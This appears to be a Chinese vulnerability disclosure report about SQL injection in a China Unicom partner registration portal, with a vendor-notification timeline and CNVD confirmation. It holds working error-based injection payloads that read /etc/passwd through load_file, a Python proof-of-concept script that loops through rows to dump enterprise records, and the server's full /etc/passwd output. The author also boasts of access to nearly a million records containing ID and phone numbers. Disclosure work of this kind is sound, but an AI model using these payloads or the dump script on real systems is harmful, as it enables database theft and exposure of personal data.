2015-11-07: 细节已通知厂商并且等待厂商处理中 2015-11-11: 厂商已经确认,细节仅向厂商公开 2015-11-21: 细节向核心白帽子及相关领域专家公开 2015-12-01: 细节向普通白帽子公开 2015-12-11: 细节向实习白帽子公开 2015-12-26: 细节向公众公开
其实这篇报告主要讲的是工具的使用(吧, 顺便学学python x_x
https://**.**.**.**随手点开条公告,id参数存在注入
POST /PAR_PO_WW/indexController.jhtml?cmd=noticeDetail HTTP/1.1Host: **.**.**.**Connection: keep-aliveContent-Length: 101Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: https://**.**.**.**Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36Content-Type: application/x-www-form-urlencodedReferer: https://**.**.**.**/portal/index.jhtmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,en;q=0.6Cookie: JSESSIONID=DF4CD228E00D50823CB5A1C81E200CC6id=61706' and 1=(select 1E308*if((select*from(select substr(load_file('/etc/passwd'),1,450))x),2,2))#
https://**.**.**.**/PAR_PO_WW/WebRegController.jhtml第二部录入信息处,填入"组织机构代码"时会向服务端请求其可用性,此处存在注入:
由于读不到information_schema, 无法获取列名,所以我们把提交资料时发送的包里的各个参数名测试一遍,看看哪些是可用的:
正则大法好:
扔进burpsuite跑一跑:
我们把不存在的列名过滤出来,全选后删除,然后将剩下的可用列名导出
然后就可以大把大把地抓数据辣!
近百万的企业数据哦, 包括但不限于: 合作方名称、组织机构代码\统一社会信用代码、机构地址、税务登记号、所在国家省份城市、法人代表、注册资金、公司电话号码、营业执照注册号、业务员姓名、身份证号、手机号 等
POST /PAR_PO_WW/WebMptBaseInfoController.jhtml?cmd=validateOrgCode HTTP/1.1Host: **.**.**.**Connection: keep-aliveContent-Length: 93Accept: application/json, text/javascript, */*; q=0.01Origin: https://**.**.**.**X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36Content-Type: application/x-www-form-urlencodedReferer: https://**.**.**.**/PAR_PO_WW/WebRegController.jhtml?cmd=toRegInfoAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,en;q=0.6Cookie: JSESSIONID=18ED1DDDDB3F6FCF80CF16D248935D55org_code=' and 1=(select 1E308*if((select*from(select count(*) from t_mpt_base_info)x),2,2))#
贴上一段自己写的 PoC x_x (随手写写,仅作证明用
import requestsimport reimport urllibdef getHeadersFromHttpRaw(raw_text): #return a dict containing headers from raw headers={} t=raw_text.split('\n\n',1)[0].split('\n') for i in range(1,len(t)): t2=t[i].split(": ") headers[t2[0]]=t2[1] return headersdef mysqlHextoRaw(Hexed_text): b="" i=0 while(i<len(Hexed_text)): b+="%"+Hexed_text[i:i+2] i+=2 return urllib.unquote(b).decode('utf8')pattern=**.**.**.**pile(r"(?<=1E308 \* if\(\(select ')(.*?)(?=' from dual)")raw1="""Host: **.**.**.**Connection: CloseAccept: application/json, text/javascript, */*; q=0.01Content-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflate"""data1="""partner_name=' and 1=(select 1E308*if((select*from(select CONCAT_WS("|",IFNULL(partner_type,''),IFNULL(card_type,''),IFNULL(org_code,''),hex(IFNULL(partner_name,'')),IFNULL(partner_name_en,''),IFNULL(country,''),hex(IFNULL(province_code,'')),hex(IFNULL(city_name,'')),IFNULL(tax_type,''),IFNULL(tax_code,''),IFNULL(corp_portal,''),hex(IFNULL(partner_address,'')),IFNULL(org_type,''),IFNULL(corp_alias,''),hex(IFNULL(legal_representative,'')),IFNULL(orgcode_start_date,''),IFNULL(orgcode_end_date,''),IFNULL(enroll_fund,''),IFNULL(currency_type,''),IFNULL(phone_number,''),IFNULL(fax_number,''),IFNULL(admin_org,''),IFNULL(admin_org_code,''),IFNULL(buss_type,''),IFNULL(post_code,''),IFNULL(enroll_code,''),IFNULL(enroll_date,''),IFNULL(license_code,''),IFNULL(license_code_start,''),IFNULL(license_code_end,''),hex(IFNULL(buss_scope,'')),IFNULL(is_listed,''),IFNULL(partner_id,''),IFNULL(partner_mdm_code,''),IFNULL(parent_code,''),IFNULL(first_reg_role,''),IFNULL(first_reg_prov,'')) from t_mpt_base_info limit $._.$,1)x),2,2))#"""for i in range(888,899): a=requests.post("https://**.**.**.**:443/PAR_PO_WW/WebMptBaseInfoController.jhtml?cmd=validatePartnerName",headers=getHeadersFromHttpRaw(raw1),data=data1.replace("$._.$",str(i)),verify=False,proxies={"https":"http://localhost:27000"}) b=pattern.search(a.content).group() c=b.split("|") for i in [3,6,7,11,14,30]: c[i]=mysqlHextoRaw(c[i]) b="|".join(c) print b
/etc/passwd
root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/spool/mail:/sbin/nologinnews:x:9:13:news:/etc/news:uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologingames:x:12:100:games:/usr/games:/sbin/nologingopher:x:13:30:gopher:/var/gopher:/sbin/nologinftp:x:14:50:FTP User:/var/ftp:/sbin/nologinnobody:x:99:99:Nobody:/:/sbin/nologinnscd:x:28:28:NSCD Daemon:/:/sbin/nologinvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologinpcap:x:77:77::/var/arpwatch:/sbin/nologinntp:x:38:38::/etc/ntp:/sbin/nologindbus:x:81:81:System message bus:/:/sbin/nologinavahi:x:70:70:Avahi daemon:/:/sbin/nologinrpc:x:32:32:Portmapper RPC user:/:/sbin/nologinmailnull:x:47:47::/var/spool/mqueue:/sbin/nologinsmmsp:x:51:51::/var/spool/mqueue:/sbin/nologinsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologinrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologinnfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologinxfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologinhaldaemon:x:68:68:HAL daemon:/:/sbin/nologinavahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologingdm:x:42:42::/var/gdm:/sbin/nologinsabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologindba:x:102:500::/home/dba:/bin/bashmysql:x:601:500::/home/mysql:/bin/bashaiuap:x:602:602::/home/aiuap:/bin/bashaiuap_jc:x:604:100::/home/aiuap_jc:/bin/bashtest:x:605:605::/home/test:/bin/bashunionmon:x:606:606::/home/unionmon:/bin/bashimonitor:x:607:607::/home/imonitor:/bin/bashdeployer:x:608:608::/home/deployer:/bin/bash
._. 联通更专业
危害等级:高
漏洞Rank:10
确认时间:2015-11-11 10:39
CNVD确认并复现所述情况,已经转由CNCERT向中国联通集团公司通报,由其后续协调网站管理部门处置.
暂无